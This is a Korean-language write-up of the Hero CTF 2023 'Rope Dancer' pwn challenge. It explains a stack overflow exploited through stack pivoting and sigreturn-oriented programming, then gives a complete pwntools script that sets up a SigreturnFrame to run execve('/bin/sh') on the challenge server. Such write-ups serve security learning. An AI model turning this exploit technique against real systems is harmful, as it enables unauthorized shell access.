Hero CTF 2023 - Rope Dancer (srop, stack pivoting)

A circus has just opened near you and you would love to work there as a rope dancer. Perhaps you could access their recruitment criteria to maximize your chances of being selected?
Host : nc static-03.heroctf.fr 5002
Format : Hero{flag}
Author : SoEasY
medium

  • [31 solves / 460 points]

Analysis

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
1
2
3
4
char buf[16]; // [rsp+0h] [rbp-10h]

sys_read(0, buf, 0x64uLL);
sys_read(0, motivation_letter, 0x1F4uLL);

처음에 buf에 입력을 받고 전역 변수인 motivation_letter 에도 매우 넉넉하게 입력을 받는다. 보호기법이 아무것도 걸려있지 않기 때문에 단순하게 생각해야한다.

pie가 걸려있지 않아서 전역 변수 주소를 바로 알 수 있고, 값을 적은 곳의 주소를 계산할 수 있다. (오프셋을 계산할 수 있다.)

처음에 buf에 입력을 받을 때 명백한 bof가 발생한다. 하지만 길이가 짧기 때문에 어딘가에 payload를 저장하고 그 곳으로 뛸 생각을 1차적으로 해야한다.

motivation_letter에 입력받는 사이즈가 크기 때문에 적절해보였다. 여기에 rop_payload를 저장하고 뛰어야겠다. 그리고 execve 함수 인자 /bin/sh를 저장해야겠다.

sigreturn rop를 할 때 가장 주의해야 할 점은 rax 레지스터의 크기를 잊지 않고 0xf로 맞춰주고 syscall ; ret를 실행해야한다는 것이다.

stack pivoting할 때 가젯 덩어리들 보면서 단순하게 leave ; ret이 안보여서 당황할 수도 있다.

1
2
3
.text:0000000000401114                 mov     rsp, rbp
.text:0000000000401117 pop rbp
.text:0000000000401118 retn

이 문제는 어셈블리로 쓰여졌기 때문에 위 어셈블리가 leave ; ret임을 눈치채야 한다.

Solve

stack pivoting 하는 법

  1. rbp를 jump하고 싶은 주소 -8로 세팅 (rop 가젯이 있는 곳 - 8)
  2. ret를 leave_ret주소로 변경

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

e = ELF('./ropedancer')
# p = process('./ropedancer')
p = remote('static-03.heroctf.fr', 5002)

p.sendafter('?', p32(0xA736579))

syscall = 0x000000000040102f
motivation_letter = 0x40312C
xor_rax_inc_rax = 0x0000000000401011
inc_rax = 0x401013
leave_ret = 0x401114

frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = motivation_letter+0x178
frame.rip = syscall

payload = b''
payload += b'a' * (0x10)
payload += p64(motivation_letter - 8)
payload += p64(leave_ret)

# 1. rbp를 jump하고 싶은 주소 -8로 세팅 (rop 가젯이 있는 곳 - 8)
# 2. ret를 leave_ret주소로 변경

print(hex(len(payload)))

pause()
p.sendafter(':', payload)

stack_pivot = b''
stack_pivot += p64(xor_rax_inc_rax) # 1
stack_pivot += p64(inc_rax) * 14

stack_pivot += p64(syscall)
stack_pivot += bytes(frame)

print(hex(len(stack_pivot)))
stack_pivot += b'/bin/sh\x00'

p.sendafter(':', stack_pivot)

p.interactive()